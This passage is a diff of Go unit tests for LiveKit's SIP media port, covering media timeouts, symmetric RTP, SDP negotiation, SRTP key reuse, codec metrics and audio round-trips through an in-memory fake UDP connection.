- targ := time.Now().Add(initial) - select { - case <-m1.MediaTimeout(): - t.Fatal("initial timeout fired too early") - case <-time.After(initial / 2): - } - - select { - case <-time.After(time.Until(targ) + dt): - t.Fatal("timeout didn't trigger") - case <-m1.MediaTimeout(): - } - }) - - t.Run("reset", func(t *testing.T) { - m1, m2 := newMediaPair(t, &MediaOptions{ - MediaTimeoutInitial: initial, - MediaTimeout: timeout, - }, nil, codec, RoomSampleRate) - - w2 := m2.GetOutboundAudioWriter() - - for i := 0; i < 5; i++ { - pushAudio(t, w2) - - select { - case <-time.After(timeout / 2): - case <-m1.MediaTimeout(): - t.Fatal("timeout") - } - } - - for i := 0; i < 5; i++ { - pushAudio(t, w2) - - select { - case <-time.After(timeout / 2): - case <-m1.MediaTimeout(): - t.Fatal("timeout") - } - } - }) -} - -func TestSymmetricRTP(t *testing.T) { - const codec = "G722/8000" - - t.Run("disabled", func(t *testing.T) { - m1, m2 := newMediaPair(t, &MediaOptions{SymmetricRTP: false}, nil, codec, RoomSampleRate) - dstPtr := m1.port.dst.Load() - require.NotNil(t, dstPtr) - dst := *dstPtr - require.True(t, dst.IsValid()) - - c2 := m2.port.UDPConn.(*testUDPConn) - newAddr := netip.AddrPortFrom(newIP("9.9.9.9"), 9999) - c2.addr = newAddr - - pushAudio(t, m2.GetOutboundAudioWriter()) - - select { - case <-m1.Received(): - case <-time.After(time.Second): - t.Fatal("no media received") - } - - curDstPtr := m1.port.dst.Load() - require.NotNil(t, curDstPtr) - require.Equal(t, dst, *curDstPtr) - }) - - t.Run("enabled", func(t *testing.T) { - m1, m2 := newMediaPair(t, &MediaOptions{SymmetricRTP: true}, nil, codec, RoomSampleRate) - dstPtr := m1.port.dst.Load() - require.NotNil(t, dstPtr) - require.True(t, dstPtr.IsValid()) - - c2 := m2.port.UDPConn.(*testUDPConn) - newAddr := netip.AddrPortFrom(newIP("9.9.9.9"), 9999) - c2.addr = newAddr - - pushAudio(t, m2.GetOutboundAudioWriter()) - - select { - case <-m1.Received(): - case <-time.After(time.Second): - t.Fatal("no media received") - } - - curDstPtr := m1.port.dst.Load() - require.NotNil(t, curDstPtr) - require.Equal(t, newAddr, *curDstPtr) - }) - - t.Run("auto", func(t *testing.T) { - m1, m2 := newMediaPairWithAddr(t, - newIP("1.1.1.1"), newIP("10.10.10.10"), - &MediaOptions{IgnoreLocalAddrInSDP: true}, nil, - codec, - RoomSampleRate, - ) - dstPtr := m1.port.dst.Load() - require.NotNil(t, dstPtr) - require.True(t, dstPtr.IsValid()) - symmetric := m1.port.symmetric.Load() - require.True(t, symmetric) - - c2 := m2.port.UDPConn.(*testUDPConn) - newAddr := netip.AddrPortFrom(newIP("3.3.3.3"), 9999) - c2.addr = newAddr - - pushAudio(t, m2.GetOutboundAudioWriter()) - - select { - case <-m1.Received(): - case <-time.After(time.Second): - t.Fatal("no media received") - } - - curDstPtr := m1.port.dst.Load() - require.NotNil(t, curDstPtr) - require.Equal(t, newAddr.String(), curDstPtr.String()) - }) -} - -// Test util for incrementing prometheus counter metrics. -func gatherCounter(t testing.TB, name string, labels map[string]string) float64 { - t.Helper() - families, err := prometheus.DefaultGatherer.Gather() - require.NoError(t, err) - var total float64 - for _, f := range families { - // Matching metric - if f.GetName() != name { - continue - } - metrics: - for _, m := range f.GetMetric() { - got := make(map[string]string, len(m.GetLabel())) - for _, l := range m.GetLabel() { - got[l.GetName()] = l.GetValue() - } - // Matching labels - for k, v := range labels { - if got[k] != v { - continue metrics - } - } - total += m.GetCounter().GetValue() - } - } - return total -} - -// Report codecs offered during SDP even when the offer fails to match any codecs -func TestSetOfferReportsCodecsBeforeFailing(t *testing.T) { - mp := newTestMediaPort(t, "internal/somecarrier") - - parsed := map[string]string{"dir": "in", "provider": "internal/somecarrier"} - other := map[string]string{"dir": "in", "provider": "internal/somecarrier", "codec": codecOther} - pcmu := map[string]string{"dir": "in", "provider": "internal/somecarrier", "codec": "PCMU/8000"} - - parsedBefore := gatherCounter(t, parsedMetric, parsed) - otherBefore := gatherCounter(t, offeredMetric, other) - pcmuBefore := gatherCounter(t, offeredMetric, pcmu) - - offer := sdpWithMedia("m=audio 5004 RTP/AVP 96", "a=rtpmap:96 SPEEX/16000") - _, err := mp.GenerateAnswer(offer) - require.ErrorIs(t, err, sdp.ErrNoCommonMedia) - - // Codecs that are not part of the internal set are classified as "other" - require.Equal(t, parsedBefore+1, gatherCounter(t, parsedMetric, parsed)) - require.Equal(t, otherBefore+1, gatherCounter(t, offeredMetric, other)) - require.Equal(t, pcmuBefore, gatherCounter(t, offeredMetric, pcmu)) -} - -func TestSetOfferReportsCodecsPerProvider(t *testing.T) { - mp := newTestMediaPort(t, "internal/somecarrier") - - parsed := map[string]string{"dir": "in", "provider": "internal/somecarrier"} - pcmu := map[string]string{"dir": "in", "provider": "internal/somecarrier", "codec": "PCMU/8000"} - g722 := map[string]string{"dir": "in", "provider": "internal/somecarrier", "codec": "G722/8000"} - - parsedBefore := gatherCounter(t, parsedMetric, parsed) - pcmuBefore := gatherCounter(t, offeredMetric, pcmu) - g722Before := gatherCounter(t, offeredMetric, g722) - - offer := sdpWithMedia("m=audio 5004 RTP/AVP 0 9", - "a=rtpmap:0 PCMU/8000", "a=rtpmap:9 G722/8000") - _, err := mp.GenerateAnswer(offer) - require.NoError(t, err) - - require.Equal(t, parsedBefore+1, gatherCounter(t, parsedMetric, parsed)) - require.Equal(t, pcmuBefore+1, gatherCounter(t, offeredMetric, pcmu)) - require.Equal(t, g722Before+1, gatherCounter(t, offeredMetric, g722)) -} - -// Without SetProvider - the pre-auth path - offers still land somewhere rather -// than being dropped. -func TestSetOfferReportsUnknownProvider(t *testing.T) { - mp := newTestMediaPort(t, "") - - parsed := map[string]string{"dir": "in", "provider": stats.ProviderUnknown} - before := gatherCounter(t, parsedMetric, parsed) - - offer := sdpWithMedia("m=audio 5004 RTP/AVP 0", "a=rtpmap:0 PCMU/8000") - _, err := mp.GenerateAnswer(offer) - require.NoError(t, err) - - require.Equal(t, before+1, gatherCounter(t, parsedMetric, parsed)) -} - -// stubParse stands in for sdp.ParseOfferWith/ParseAnswerWith so the recovery -// wrapper can be exercised without hand-crafting SDP that panics the parser. -type stubParse struct { - calls int - res *sdp.Offer - err error - panic any -} - -func (s *stubParse) parse(*msdk.CodecSet, []byte) (*sdp.Offer, error) { - s.calls++ - if s.panic != nil { - panic(s.panic) - } - return s.res, s.err -} - -func TestParseSDPWithRecovery(t *testing.T) { - parseErr := errors.New("malformed SDP") - - t.Run("parse error reaches the caller intact", func(t *testing.T) { - fn := &stubParse{err: parseErr} - res, err := parseSDPWithRecovery(logger.NewTestLogger(t), nil, fn.parse, defaultCodecs, nil) - require.ErrorIs(t, err, parseErr) - require.Nil(t, res) - require.Equal(t, 1, fn.calls) - }) - - t.Run("panic with an error value becomes an error", func(t *testing.T) { - fn := &stubParse{panic: errors.New("index out of range")} - res, err := parseSDPWithRecovery(logger.NewTestLogger(t), nil, fn.parse, defaultCodecs, nil) - require.EqualError(t, err, "invalid SDP") - require.Nil(t, res) - require.Equal(t, 1, fn.calls) - }) - - t.Run("panic with a non-error value becomes an error", func(t *testing.T) { - fn := &stubParse{panic: "boom"} - res, err := parseSDPWithRecovery(logger.NewTestLogger(t), nil, fn.parse, defaultCodecs, nil) - require.EqualError(t, err, "invalid SDP") - require.Nil(t, res) - require.Equal(t, 1, fn.calls) - }) - - t.Run("a recovered panic still classifies as an SDP error", func(t *testing.T) { - fn := &stubParse{panic: "boom"} - _, err := parseSDPWithRecovery(logger.NewTestLogger(t), nil, fn.parse, defaultCodecs, nil) - f := SDPError{Err: err}.ClassifyInvite() - require.Equal(t, stats.ClientError("sdp-error"), f.Term) - }) -} +// Copyright 2024 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "errors" + "fmt" + "io" + "math" + "net" + "net/netip" + "os" + "slices" + "strings" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/prometheus/client_golang/prometheus" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + msdk "github.com/livekit/media-sdk" + "github.com/livekit/media-sdk/rtp" + "github.com/livekit/media-sdk/sdp" + "github.com/livekit/media-sdk/srtp" + "github.com/livekit/mediatransportutil/pkg/rtcconfig" + "github.com/livekit/protocol/logger" + + "github.com/livekit/sip/pkg/config" + "github.com/livekit/sip/pkg/stats" +) + +const ( + parsedMetric = "livekit_sip_sdp_parsed_total" + offeredMetric = "livekit_sip_codec_offered_total" +) + +func newTestCallMonitor(t testing.TB) *stats.CallMonitor { + mon, err := stats.NewMonitor(&config.Config{}) + require.NoError(t, err) + require.NoError(t, mon.Start(&config.Config{})) + t.Cleanup(mon.Stop) + return mon.NewCall(stats.Inbound, "test", "test") +} + +func newTestMediaPort(t testing.TB, provider string) MediaPort { + t.Helper() + mon := newTestCallMonitor(t) + mon.SetProvider(provider) + mp, err := NewMediaPortWith(logger.NewTestLogger(t), mon, nil, &MediaOptions{ + IP: netip.MustParseAddr("127.0.0.1"), + }, 8000) + require.NoError(t, err) + t.Cleanup(func() { mp.Close() }) + return mp +} + +type testUDPConn struct { + addr netip.AddrPort + closed chan struct{} + buf chan []byte + peer atomic.Pointer[testUDPConn] + + // Deadlines follow net.Conn: the latest value wins, zero clears it. The value + // lives in the guarded field and kick only wakes a parked reader, so coalescing + // a wakeup can never drop a deadline - which would strand Close() forever. + dmu sync.Mutex + deadline time.Time + kick chan struct{} +} + +func (c *testUDPConn) Read(b []byte) (int, error) { + n, _, err := c.ReadFromUDPAddrPort(b) + return n, err +} + +func (c *testUDPConn) Write(b []byte) (int, error) { + return c.WriteToUDPAddrPort(b, netip.AddrPort{}) +} + +func (c *testUDPConn) RemoteAddr() net.Addr { + p := c.peer.Load() + if p == nil { + return &net.UDPAddr{} + } + return p.LocalAddr() +} + +func (c *testUDPConn) SetDeadline(t time.Time) error { + c.SetReadDeadline(t) + return nil +} + +func (c *testUDPConn) SetReadDeadline(t time.Time) error { + c.dmu.Lock() + c.deadline = t + c.dmu.Unlock() + select { + case c.kick <- struct{}{}: + default: + } + return nil +} + +func (c *testUDPConn) readDeadline() time.Time { + c.dmu.Lock() + defer c.dmu.Unlock() + return c.deadline +} + +func (c *testUDPConn) SetWriteDeadline(t time.Time) error { + return nil +} + +func (c *testUDPConn) ReadFromUDPAddrPort(buf []byte) (int, netip.AddrPort, error) { + peer := c.peer.Load() + if peer == nil { + return 0, netip.AddrPort{}, io.ErrClosedPipe + } + + for { + var ( + deadlineCh <-chan time.Time + timer *time.Timer + ) + if dl := c.readDeadline(); !dl.IsZero() { + timer = time.NewTimer(time.Until(dl)) + deadlineCh = timer.C + } + + select { + case <-c.closed: + stopTimer(timer) + return 0, netip.AddrPort{}, io.ErrClosedPipe + case <-deadlineCh: + return 0, netip.AddrPort{}, os.ErrDeadlineExceeded + case <-c.kick: + stopTimer(timer) // deadline changed, re-arm + continue + case data := <-c.buf: + stopTimer(timer) + n := copy(buf, data) + var err error + if n < len(data) { + err = io.ErrShortBuffer + } + return n, peer.addr, err + } + } +} + +func stopTimer(t *time.Timer) { + if t != nil { + t.Stop() + } +} + +func (c *testUDPConn) WriteToUDPAddrPort(buf []byte, addr netip.AddrPort) (int, error) { + peer := c.peer.Load() + if peer == nil { + return 0, io.ErrClosedPipe + } else if peer.addr.String() != addr.String() { + panic("unexpected address") + } + buf = slices.Clone(buf) + select { + default: + return 0, io.ErrShortWrite + case <-peer.closed: + return 0, io.ErrClosedPipe + case peer.buf <- buf: + return len(buf), nil + } +} + +func (c *testUDPConn) LocalAddr() net.Addr { + return &net.UDPAddr{ + IP: c.addr.Addr().AsSlice(), + Port: int(c.addr.Port()), + } +} + +func (c *testUDPConn) Close() error { + if c.peer.Swap(nil) != nil { + close(c.closed) + } + return nil +} + +func newTestConn(i int) *testUDPConn { + return &testUDPConn{ + addr: netip.AddrPortFrom( + netip.AddrFrom4([4]byte{byte(i), byte(i), byte(i), byte(i)}), + uint16(10000*i), + ), + buf: make(chan []byte, 256), + closed: make(chan struct{}), + kick: make(chan struct{}, 1), + } +} + +func newUDPPipe() (c1, c2 *testUDPConn) { + c1 = newTestConn(1) + c2 = newTestConn(2) + c1.peer.Store(c2) + c2.peer.Store(c1) + return +} + +func newIP(v string) netip.Addr { + ip, err := netip.ParseAddr(v) + if err != nil { + panic(err) + } + return ip +} + +// newTestPort is NewMediaPortWith for tests: it keeps the concrete type, so tests can reach +// the udpConn and the timeout controls that are not part of the MediaPort interface. +func newTestPort(t testing.TB, log logger.Logger, conn UDPConn, opts *MediaOptions, rate int) *mediaPort { + t.Helper() + mp, err := NewMediaPortWith(log, newTestCallMonitor(t), conn, opts, rate) + require.NoError(t, err) + t.Cleanup(mp.Close) + return mp.(*mediaPort) +} + +func offerAt(t testing.TB, addr netip.AddrPort) []byte { + t.Helper() + return offerAtEnc(t, addr, sdp.EncryptionNone) +} + +func offerAtEnc(t testing.TB, addr netip.AddrPort, enc sdp.Encryption) []byte { + t.Helper() + offer, err := sdp.NewOfferWith(defaultCodecs, addr.Addr(), int(addr.Port()), enc) + require.NoError(t, err) + data, err := offer.SDP.Marshal() + require.NoError(t, err) + return data +} + +func TestMediaPortUpdateRemote(t *testing.T) { + c1, _ := newUDPPipe() + mp := newTestPort(t, logger.NewTestLogger(t), c1, &MediaOptions{ + IP: netip.MustParseAddr("127.0.0.1"), + }, RoomSampleRate) + + require.False(t, mp.RemoteAddr().IsValid(), "RemoteAddr should be invalid before any offer") + + addr := netip.MustParseAddrPort("9.8.7.6:12345") + _, err := mp.GenerateAnswer(offerAt(t, addr)) + require.NoError(t, err) + require.Equal(t, addr, mp.RemoteAddr(), "GenerateAnswer should set RemoteAddr from the offer") + + // Body-less re-INVITE: empty offer returns the local SDP and must not change dest. + _, err = mp.GenerateAnswer(nil) + require.NoError(t, err) + require.Equal(t, addr, mp.RemoteAddr(), "empty offer should not change RemoteAddr") + + // Hold form c=0.0.0.0 must not clobber dest once media is established. + _, err = mp.GenerateAnswer(offerAt(t, netip.MustParseAddrPort("0.0.0.0:12345"))) + require.NoError(t, err) + require.Equal(t, addr, mp.RemoteAddr(), "offer with unspecified addr should not change RemoteAddr") + + // successful re-INVITE update + addr = netip.MustParseAddrPort("10.10.10.10:54321") + _, err = mp.GenerateAnswer(offerAt(t, addr)) + require.NoError(t, err) + require.Equal(t, addr, mp.RemoteAddr(), "re-INVITE offer should update RemoteAddr") +} + +// Re-INVITE with the original offer SDP and crypto material must result in +// re-use of already-negotiated keys. +func TestMediaPortReinviteSameCrypto(t *testing.T) { + c1, _ := newUDPPipe() + mp := newTestPort(t, logger.NewTestLogger(t), c1, &MediaOptions{ + IP: netip.MustParseAddr("127.0.0.1"), + Encryption: sdp.EncryptionRequire, + }, RoomSampleRate) + + addr := netip.MustParseAddrPort("9.8.7.6:12345") + offer := offerAtEnc(t, addr, sdp.EncryptionRequire) + + _, err := mp.GenerateAnswer(offer) + require.NoError(t, err) + require.Equal(t, addr, mp.RemoteAddr()) + + require.NotNil(t, mp.negotiated) + require.NotNil(t, mp.negotiated.Crypto) + localKey := slices.Clone(mp.negotiated.Crypto.Keys.LocalMasterKey) + localSalt := slices.Clone(mp.negotiated.Crypto.Keys.LocalMasterSalt) + require.NotEmpty(t, localKey) + require.NotEmpty(t, localSalt) + localSDP, err := mp.GetLocalSDP() + require.NoError(t, err) + require.NotEmpty(t, localSDP) + + // Same offer bytes: NewOfferWith would generate a new peer key. + _, err = mp.GenerateAnswer(offer) + require.NoError(t, err, "re-INVITE with the same offer must be accepted") + require.Equal(t, addr, mp.RemoteAddr(), "same offer must not change dest") + require.Equal(t, localKey, mp.negotiated.Crypto.Keys.LocalMasterKey, "local master key must not change") + require.Equal(t, localSalt, mp.negotiated.Crypto.Keys.LocalMasterSalt, "local master salt must not change") + gotSDP, err := mp.GetLocalSDP() + require.NoError(t, err) + require.Equal(t, localSDP, gotSDP, "local SDP (including a=crypto) must not change") +} + +func TestMediaPortReofferSameCrypto(t *testing.T) { + c1, _ := newUDPPipe() + mp := newTestPort(t, logger.NewTestLogger(t), c1, &MediaOptions{ + IP: netip.MustParseAddr("127.0.0.1"), + Encryption: sdp.EncryptionRequire, + }, RoomSampleRate) + + newOffer := func(t testing.TB, mp *mediaPort, localCrypto []srtp.Profile) (*sdp.Offer, *sdp.MediaConfig) { + t.Helper() + addr := netip.MustParseAddrPort("9.8.7.6:12345") + offerData, err := mp.GenerateOffer() + require.NoError(t, err) + offer, err := sdp.ParseOfferWith(defaultCodecs, offerData) + require.NoError(t, err) + answer, mc, err := offer.Answer(addr.Addr(), int(addr.Port()), sdp.EncryptionRequire, sdp.WithLocalProfiles(localCrypto)) + require.NoError(t, err) + answerData, err := answer.SDP.Marshal() + require.NoError(t, err) + err = mp.ProcessAnswer(answerData) + require.NoError(t, err) + require.Nil(t, mp.offer) + return offer, mc + } + localCrypto, err := srtp.DefaultProfiles() + require.NoError(t, err) + offer1, mc1 := newOffer(t, mp, localCrypto) + offer2, mc2 := newOffer(t, mp, localCrypto) + + // Offers must not regenerate keys + require.Equal(t, offer1.CryptoProfiles, offer2.CryptoProfiles, "crypto profiles must not change") + require.Equal(t, mc1.Crypto.Keys.RemoteMasterKey, mc2.Crypto.Keys.RemoteMasterKey, "remote master key must not change") + require.Equal(t, mc1.Crypto.Keys.RemoteMasterSalt, mc2.Crypto.Keys.RemoteMasterSalt, "remote master salt must not change") +} + +// negotiate runs a full offer/answer between two ports, m1 offering, and returns the answer. +func negotiate(t testing.TB, m1, m2 *mediaPort) []byte { + t.Helper() + offerData, err := m1.GenerateOffer() + require.NoError(t, err) + + answerData, err := m2.GenerateAnswer(offerData) + require.NoError(t, err) + + require.NoError(t, m1.ProcessAnswer(answerData)) + + m2.SetTimeout(m2.opts.MediaTimeoutInitial, m2.opts.MediaTimeout) + return answerData +} + +func newMediaPair(t testing.TB, opt1, opt2 *MediaOptions, codec string, targetRate int) (m1, m2 *mediaPort) { + return newMediaPairWithAddr(t, newIP("1.1.1.1"), newIP("2.2.2.2"), opt1, opt2, codec, targetRate) +} + +func newMediaPairWithAddr(t testing.TB, ip1, ip2 netip.Addr, opt1, opt2 *MediaOptions, codec string, targetRate int) (m1, m2 *mediaPort) { + if opt1 == nil { + opt1 = &MediaOptions{} + } + if opt2 == nil { + opt2 = &MediaOptions{} + } + c1, c2 := newUDPPipe() + + if targetRate <= 0 { + targetRate = RoomSampleRate + } + + opt1.IP = ip1 + opt1.Ports = rtcconfig.PortRange{Start: 10000} + if codec != "" { + opt1.Codecs = testCodecSet(codec) + } + + opt2.IP = ip2 + opt2.Ports = rtcconfig.PortRange{Start: 20000} + if codec != "" { + opt2.Codecs = testCodecSet(codec) + } + + log := logger.NewTestLogger(t) + + m1 = newTestPort(t, log.WithName("one"), c1, opt1, targetRate) + m2 = newTestPort(t, log.WithName("two"), c2, opt2, targetRate) + + negotiate(t, m1, m2) + return m1, m2 +} + +type codecConfig struct { + rampUpFrames int + offsetSamples int +} + +var codecConfigMap = map[string]codecConfig{ + "G722/8000": {rampUpFrames: 1, offsetSamples: 22}, + "AMR-WB/16000": {rampUpFrames: 1, offsetSamples: 14 + 16}, +} + +func TestMediaPortAudioRoundTrip(t *testing.T) { + // Production resampler delay is tiny but not deterministic; checkPCM needs a stable delay. + prevOpts := msdk.DefaultResampleOptions + msdk.DefaultResampleOptions = []msdk.ResampleOption{ + msdk.WithPredictableResample(true), + } + defer func() { + msdk.DefaultResampleOptions = prevOpts + }() + + for _, codec := range allAudioCodecs() { + info := codec.Info() + t.Run(strings.ReplaceAll(info.SDPName, "/", "-"), func(t *testing.T) { + if strings.EqualFold(info.SDPName, OpusSDPName) { + // Opus is lossy, so waveform-equality assertions do not apply. + // Codec registration and negotiation are covered separately. + t.SkipNow() + } + for _, resample := range []bool{true, false} { + t.Run(fmt.Sprintf("resample=%t", resample), func(t *testing.T) { + for _, enc := range []sdp.Encryption{sdp.EncryptionNone, sdp.EncryptionRequire} { + t.Run("enc="+policyToString[enc], func(t *testing.T) { + + opts1 := &MediaOptions{Encryption: enc} + opts2 := &MediaOptions{Encryption: enc} + targetRate := RoomSampleRate + if !resample { + targetRate = info.SampleRate + } + m1, m2 := newMediaPair(t, opts1, opts2, info.SDPName, targetRate) + + var recv1, recv2 msdk.PCM16Sample + h1 := msdk.NewPCM16BufferWriter(&recv1, targetRate) + h2 := msdk.NewPCM16BufferWriter(&recv2, targetRate) + m1.WriteInboundAudioTo(h1) + m2.WriteInboundAudioTo(h2) + + w1 := m1.GetOutboundAudioWriter() + w2 := m2.GetOutboundAudioWriter() + + packetSize := targetRate / int(time.Second/rtp.DefFrameDur) + to2 := make(msdk.PCM16Sample, packetSize) + to1 := make(msdk.PCM16Sample, packetSize) + const ( + amp1 = 10000 + amp2 = 5000 + freq = 10 + ) + for i := range packetSize { + to2[i] = int16(amp1 * math.Sin(freq*2*math.Pi*float64(i)/float64(packetSize))) + to1[i] = int16(amp2 * math.Sin(freq*2*math.Pi*float64(i)/float64(packetSize))) + } + + codecConfig := codecConfigMap[info.SDPName] // defaults to 0,0 + + // Ramp-up time for the codec. + // Some codecs have "inertia" and cannot immediately represent the sound exactly. + // This is why we write signal multiple times to give it some time to adapt. + // We will also cut the ramp-up part from the destination buffer before comparing. + // This variable is in full frames, so that we clearly see where frames start to calculate the offset below. + rampUpFrames := codecConfig.rampUpFrames + // Some codecs have an extra buffering internally, and we have to offset the compared sample + // by this number of sampled values. + offsetSamples := codecConfig.offsetSamples + + writes := 1 + rampUpFrames + discard := rampUpFrames * packetSize + resampleMult := targetRate / info.SampleRate + offsetSamples *= resampleMult + + var wg sync.WaitGroup + wg.Add(2) + go func() { + defer wg.Done() + for range writes { + require.NoError(t, w1.WriteSample(to2)) + } + }() + go func() { + defer wg.Done() + for range writes { + require.NoError(t, w2.WriteSample(to1)) + } + }() + wg.Wait() + + time.Sleep(time.Second / 4) + + h1.Close() + h2.Close() + m1.Close() + m2.Close() + + checkPCM(t, "A -> B", to2[:packetSize-offsetSamples], recv2[discard+offsetSamples:]) + checkPCM(t, "B -> A", to1[:packetSize-offsetSamples], recv1[discard+offsetSamples:]) + }) + } + + }) + } + + }) + } +} + +func checkPCM(t testing.TB, name string, exp, got msdk.PCM16Sample) { + t.Helper() + require.Equal(t, len(exp), len(got)) + + minV := slices.Min(exp) + maxV := slices.Max(exp) + + // Allow 10% of deviation from original. + const perc = 0.1 + delta := int16(math.Abs(float64(maxV-minV) * perc)) + + hits := 0 + + var minD, maxD int16 = math.MaxInt16, 0 + for i, v := range got { + dv := v - exp[i] + if dv < 0 { + dv = -dv + } + if dv < delta { + hits++ + } + minD = min(minD, dv) + maxD = max(maxD, dv) + } + + // 90% of the samples should match. + const percHit = 0.90 + expHit := int(float64(len(exp)) * percHit) + require.True(t, hits >= expHit, "%s: insufficient number of good samples: %v/%v\nminD=%v, maxD=%v, allowed=%v\nmin=%v, max=%v\nexp:\n%v\ngot:\n%v", + name, + hits, expHit, + minD, maxD, delta, + slices.Min(got), slices.Max(got), + exp, got, + ) +} + +func TestPipelineChains(t *testing.T) { + for _, codec := range enabledAudioCodecs() { + t.Run(codec.Info().SDPName, func(t *testing.T) { + // Create new test media port + // Process offer with a specific codec + dtmf + codecs := testCodecSet(codec.Info().SDPName) + opts := &MediaOptions{ + IP: netip.MustParseAddr("1.1.1.1"), + Ports: rtcconfig.PortRange{Start: 10000}, + Codecs: codecs, + } + conn := newTestConn(1) + mp := newTestPort(t, logger.NewTestLogger(t), conn, opts, RoomSampleRate) + + info := codec.Info() + offer, err := sdp.NewOfferWith(codecs, netip.MustParseAddr("2.2.2.2"), 20000, sdp.EncryptionNone) + require.NoError(t, err) + answerData, err := offer.SDP.Marshal() + require.NoError(t, err) + _, err = mp.GenerateAnswer(answerData) + require.NoError(t, err) + + codecName := strings.Split(info.SDPName, "/")[0] + sampleRate := info.SampleRate + clockRate := info.RTPClockRate + payloadType := info.RTPDefType + audioOutChain := fmt.Sprintf("WriteCloserSwitch(%d) -> LatencyEntry -> Resample(%d->%d) -> %s(encode) -> ByteEncoder(%d) -> StatsWriter(%s/%d) -> LatencyExit -> RTPWriteStream(:0)", + RoomSampleRate, RoomSampleRate, sampleRate, codecName, sampleRate, codecName, clockRate) + audioInChain := fmt.Sprintf("StatsHandler(%s/%d) -> SilenceFiller(25) -> RTP(%d) -> ByteDecoder -> %s(decode) -> Resample(%d->%d) -> LatencyExit -> WriteCloserSwitch(nil)", + codecName, clockRate, payloadType, codecName, sampleRate, RoomSampleRate) + dtmfOutChain := fmt.Sprintf("WriteCloserSwitch(%d) -> dtmfOutWriter(dtmfAudio: false)", clockRate) + dtmfInChain := fmt.Sprintf("StatsHandler(telephone-event/%d) -> HandlerFunc", clockRate) + assert.Equal(t, audioOutChain, mp.GetOutboundAudioWriter().String(), "out audio chain mismatch") + assert.Equal(t, audioInChain, mp.pipeline.audioToRoom.String(), "in audio chain mismatch") + assert.Equal(t, dtmfOutChain, mp.GetOutboundDTMFWriter().String(), "out dtmf chain mismatch") + assert.Equal(t, dtmfInChain, mp.pipeline.dtmfToRoom.String(), "in dtmf chain mismatch") + }) + } +} + +// pushAudio writes two room-rate frames. The outbound resampler keeps a one-frame +// delay (soxr returns a short buffer on the first call), so a single WriteSample +// never produces RTP when the port runs at RoomSampleRate. +func pushAudio(t testing.TB, w msdk.PCM16Writer) { + t.Helper() + frame := roomFrame() + require.NoError(t, w.WriteSample(frame)) + require.NoError(t, w.WriteSample(frame)) +} + +func TestMediaTimeout(t *testing.T) { + const ( + codec = "G722/8000" + timeout = time.Second / 4 + initial = timeout * 2 + dt = timeout / 4 + ) + + t.Run("initial", func(t *testing.T) { + m1, _ := newMediaPair(t, &MediaOptions{ + MediaTimeoutInitial: initial, + MediaTimeout: timeout, + }, nil, codec, RoomSampleRate) + + targ := time.Now().Add(initial) + select { + case <-m1.MediaTimeout(): + t.Fatal("initial timeout ignored") + case <-time.After(initial / 2): + } + + select { + case <-time.After(time.Until(targ) + dt): + t.Fatal("timeout didn't trigger") + case <-m1.MediaTimeout(): + } + }) + + t.Run("regular", func(t *testing.T) { + m1, m2 := newMediaPair(t, &MediaOptions{ + MediaTimeoutInitial: initial, + MediaTimeout: timeout, + }, nil, codec, RoomSampleRate) + + w2 := m2.GetOutboundAudioWriter() + pushAudio(t, w2) + + select { + case <-time.After(dt): + t.Fatal("no media received") + case <-m1.Received(): + } + + select { + case <-time.After(2*timeout + dt): + t.Fatal("timeout didn't trigger") + case <-m1.MediaTimeout(): + } + }) + + t.Run("no timeout", func(t *testing.T) { + m1, m2 := newMediaPair(t, &MediaOptions{ + MediaTimeoutInitial: initial, + MediaTimeout: timeout, + }, nil, codec, RoomSampleRate) + + w2 := m2.GetOutboundAudioWriter() + + for i := 0; i < 10; i++ { + pushAudio(t, w2) + + select { + case <-time.After(timeout / 2): + case <-m1.MediaTimeout(): + t.Fatal("timeout") + } + } + }) + + t.Run("reset timeout after media", func(t *testing.T) { + m1, m2 := newMediaPair(t, &MediaOptions{ + MediaTimeoutInitial: initial, + MediaTimeout: timeout, + }, nil, codec, RoomSampleRate) + + w2 := m2.GetOutboundAudioWriter() + + for i := 0; i < 5; i++ { + pushAudio(t, w2) + + select { + case <-time.After(timeout / 2): + case <-m1.MediaTimeout(): + t.Fatal("timeout") + } + } + + // Once media has flowed, SetTimeout does not re-enter the initial window — + // the general timeout applies relative to the last received RTP packet. + // Last packet arrived at most timeout/2 ago, so the timeout should fire + // within ~timeout from now, well before initial would elapse. + m1.SetTimeout(initial, timeout) + + select { + case <-time.After(timeout + dt): + t.Fatal("timeout didn't trigger") + case <-m1.MediaTimeout(): + } + }) + + t.Run("reset timeout before any media", func(t *testing.T) { + m1, _ := newMediaPair(t, &MediaOptions{ + MediaTimeoutInitial: initial, + MediaTimeout: timeout, + }, nil, codec, RoomSampleRate) + + // No media has ever arrived. SetTimeout re-arms startTime, and since the + // port has never seen an RTP packet, the new initial window applies from + // the moment of the SetTimeout call. + time.Sleep(initial / 2) + m1.SetTimeout(initial, timeout) + + targ := time.Now().Add(initial) + select { + case <-m1.MediaTimeout(): + t.Fatal("initial timeout fired too early") + case <-time.After(initial / 2): + } + + select { + case <-time.After(time.Until(targ) + dt): + t.Fatal("timeout didn't trigger") + case <-m1.MediaTimeout(): + } + }) + + t.Run("reset", func(t *testing.T) { + m1, m2 := newMediaPair(t, &MediaOptions{ + MediaTimeoutInitial: initial, + MediaTimeout: timeout, + }, nil, codec, RoomSampleRate) + + w2 := m2.GetOutboundAudioWriter() + + for i := 0; i < 5; i++ { + pushAudio(t, w2) + + select { + case <-time.After(timeout / 2): + case <-m1.MediaTimeout(): + t.Fatal("timeout") + } + } + + for i := 0; i < 5; i++ { + pushAudio(t, w2) + + select { + case <-time.After(timeout / 2): + case <-m1.MediaTimeout(): + t.Fatal("timeout") + } + } + }) +} + +func TestSymmetricRTP(t *testing.T) { + const codec = "G722/8000" + + t.Run("disabled", func(t *testing.T) { + m1, m2 := newMediaPair(t, &MediaOptions{SymmetricRTP: false}, nil, codec, RoomSampleRate) + dstPtr := m1.port.dst.Load() + require.NotNil(t, dstPtr) + dst := *dstPtr + require.True(t, dst.IsValid()) + + c2 := m2.port.UDPConn.(*testUDPConn) + newAddr := netip.AddrPortFrom(newIP("9.9.9.9"), 